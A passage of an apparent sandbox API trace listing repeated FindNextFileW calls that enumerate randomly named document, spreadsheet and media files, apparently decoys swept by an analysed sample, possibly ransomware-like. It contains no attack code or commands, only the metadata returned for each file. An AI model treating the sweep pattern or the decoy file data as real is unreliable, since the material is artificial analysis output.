ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x80b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="GCXxiNbD.avi", cAlternateFileName="")) returned 1 [0039.905] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5791, dwReserved0=0x0, dwReserved1=0x0, cFileName="KwuGmh9JdfDxPED09.jpg", cAlternateFileName="")) returned 1 [0039.905] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x88b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="7ZwyeX1xh.doc", cAlternateFileName="")) returned 1 [0039.905] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13e67, dwReserved0=0x0, dwReserved1=0x0, cFileName="EkCDp.xls", cAlternateFileName="")) returned 1 [0039.905] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11ca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="p2b1gzQI.xls", cAlternateFileName="")) returned 1 [0039.905] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa169, dwReserved0=0x0, dwReserved1=0x0, cFileName="VF8E6ekoFe4DVWHEy.flv", cAlternateFileName="")) returned 1 [0039.905] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x8136, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSKEoPSkeN.jpg", cAlternateFileName="")) returned 1 [0039.905] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x10e96, dwReserved0=0x0, dwReserved1=0x0, cFileName="qWCrNc.m4a", cAlternateFileName="")) returned 1 [0039.906] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xc700, dwReserved0=0x0, dwReserved1=0x0, cFileName="cgtqEFU0PAhrauJ.ods", cAlternateFileName="")) returned 1 [0039.906] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6539, dwReserved0=0x0, dwReserved1=0x0, cFileName="Z1vXQLb4e3vCWmHziUz.mkv", cAlternateFileName="")) returned 1 [0039.906] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c86c53, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449eb182, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c86c53, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x80d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="U3BnARny7QLta.mp4", cAlternateFileName="")) returned 1 [0039.906] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x16804, dwReserved0=0x0, dwReserved1=0x0, cFileName="7jSTZlo2FBO75BUO.wav", cAlternateFileName="")) returned 1 [0039.906] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x176d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="OxtG5eiXbm.xls", cAlternateFileName="")) returned 1 [0039.906] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa2dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="sAXOlTuEN.odt", cAlternateFileName="")) returned 1 [0039.906] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x185b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="S1VrbK55Uey.bmp", cAlternateFileName="")) returned 1 [0039.906] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449ba440, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x8235, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWHuuMWix2.flv", cAlternateFileName="")) returned 1 [0039.906] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12c0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="fUsEMWHFeMlUg8RpMG.ots", cAlternateFileName="")) returned 1 [0039.906] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x10386, dwReserved0=0x0, dwReserved1=0x0, cFileName="F4BCJQiL.ots", cAlternateFileName="")) returned 1 [0039.907] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ca4117, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ca4117, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x796b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YizWtOq9sqniAiG.pptx", cAlternateFileName="")) returned 1 [0039.907] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xe324, dwReserved0=0x0, dwReserved1=0x0, cFileName="SfTEIxbdxeH16.wav", cAlternateFileName="")) returned 1 [0039.907] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c5fb4d, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c5fb4d, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xee8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICn9FymqAtw6QQL.ppt", cAlternateFileName="")) returned 1 [0039.907] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x7c37, dwReserved0=0x0, dwReserved1=0x0, cFileName="ewbUbaNVSvHfRRfQfQLC.xls", cAlternateFileName="")) returned 1 [0039.907] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6b5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="svuJsC.pdf", cAlternateFileName="")) returned 1 [0039.907] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x124eb, dwReserved0=0x0, dwReserved1=0x0, cFileName="gh4zJ.pps", cAlternateFileName="")) returned 1 [0039.907] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cdea9f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a7d946, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cdea9f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa869, dwReserved0=0x0, dwReserved1=0x0, cFileName="qys9GnLkOeS.odt", cAlternateFileName="")) returned 1 [0039.907] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x592c, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4eytQpoJk.swf", cAlternateFileName="")) returned 1 [0039.907] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x8f30, dwReserved0=0x0, dwReserved1=0x0, cFileName="evMqhpDEt7CXv.mp3", cAlternateFileName="")) returned 1 [0039.907] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c733d0, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c733d0, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd194, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pbnq0tEevfYiPYev3.flv", cAlternateFileName="")) returned 1 [0039.907] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x13ae1, dwReserved0=0x0, dwReserved1=0x0, cFileName="ofYpMQKf1RjCMx.wav", cAlternateFileName="")) returned 1 [0039.908] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xa9e7, dwReserved0=0x0, dwReserved1=0x0, cFileName="L1fyabptENWoGXu.rtf", cAlternateFileName="")) returned 1 [0039.908] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cc15db, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a60485, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cc15db, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12529, dwReserved0=0x0, dwReserved1=0x0, cFileName="hoPVmBvF77.odt", cAlternateFileName="")) returned 1 [0039.908] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xbc43, dwReserved0=0x0, dwReserved1=0x0, cFileName="umVoob.csv", cAlternateFileName="")) returned 1 [0040.089] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c7d011, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449e1541, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c7d011, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x6596, dwReserved0=0x0, dwReserved1=0x0, cFileName="RyYcx2F2hgV.gif", cAlternateFileName="")) returned 1 [0040.090] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449896ff, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xd1ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="AhwQOJysH9.jpg", cAlternateFileName="")) returned 1 [0040.090] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cb799a, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a56845, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cb799a, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x12975, dwReserved0=0x0, dwReserved1=0x0, cFileName="eQwKBctI5AfYjbVKmqeN.ods", cAlternateFileName="")) returned 1 [0040.090] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xfd50, dwReserved0=0x0, dwReserved1=0x0, cFileName="6R7qq9DkqNA3WVHMTs.doc", cAlternateFileName="")) returned 1 [0040.090] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c6978f, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449cdcc1, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c6978f, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11e85, dwReserved0=0x0, dwReserved1=0x0, cFileName="KAk0a7xY4jTir.m4a", cAlternateFileName="")) returned 1 [0040.090] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c38a47, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c38a47, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x92e2, dwReserved0=0x0, dwReserved1=0x0, cFileName="5n4Otxttbgfrkyd1Qv.mp3", cAlternateFileName="")) returned 1 [0040.090] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449f4dc2, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x1361c, dwReserved0=0x0, dwReserved1=0x0, cFileName="ZRruaCKjxo6i.ots", cAlternateFileName="")) returned 1 [0040.092] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cd4e5e, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a73d06, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cd4e5e, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x91ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="oNmnCAGLhaZCfP.bmp", cAlternateFileName="")) returned 1 [0040.092] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c4c2ca, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449a6bc0, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c4c2ca, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x155ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="B2EjwcG.xls", cAlternateFileName="")) returned 1 [0040.092] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1ce86e1, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a87586, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1ce86e1, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x5b63, dwReserved0=0x0, dwReserved1=0x0, cFileName="tcambCkECjq.ods", cAlternateFileName="")) returned 1 [0040.092] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c2ee06, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44975e7e, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c2ee06, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x11a0b, dwReserved0=0x0, dwReserved1=0x0, cFileName="1WjGsbbxyz9w44lK.jpg", cAlternateFileName="")) returned 1 [0040.092] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0xad00, dwReserved0=0x0, dwReserved1=0x0, cFileName="85sWKB.jpg", cAlternateFileName="")) returned 1 [0040.092] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c55f0c, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x449c4080, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c55f0c, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x15a5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="F01GLe.odt", cAlternateFileName="")) returned 1 [0040.092] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1c42689, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x4497fabe, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1c42689, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x10636, dwReserved0=0x0, dwReserved1=0x0, cFileName="7wJ29fsIwS36l.ods", cAlternateFileName="")) returned 1 [0040.092] FindNextFileW (in: hFindFile=0x73d5a8, lpFindFileData=0x26ef684 | out: lpFindFileData=0x26ef684*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xb1cadd58, ftCreationTime.dwHighDateTime=0x1d93009, ftLastAccessTime.dwLowDateTime=0x44a4cc05, ftLastAccessTime.dwHighDateTime=0x1d9300a, ftLastWriteTime.dwLowDateTime=0xb1cadd58, ftLastWriteTime.dwHighDateTime=0x1d93009, nFileSizeHigh=0x0, nFileSizeLow=0x101cb, dwReserved0=0x0, dwReserved1=0x0, 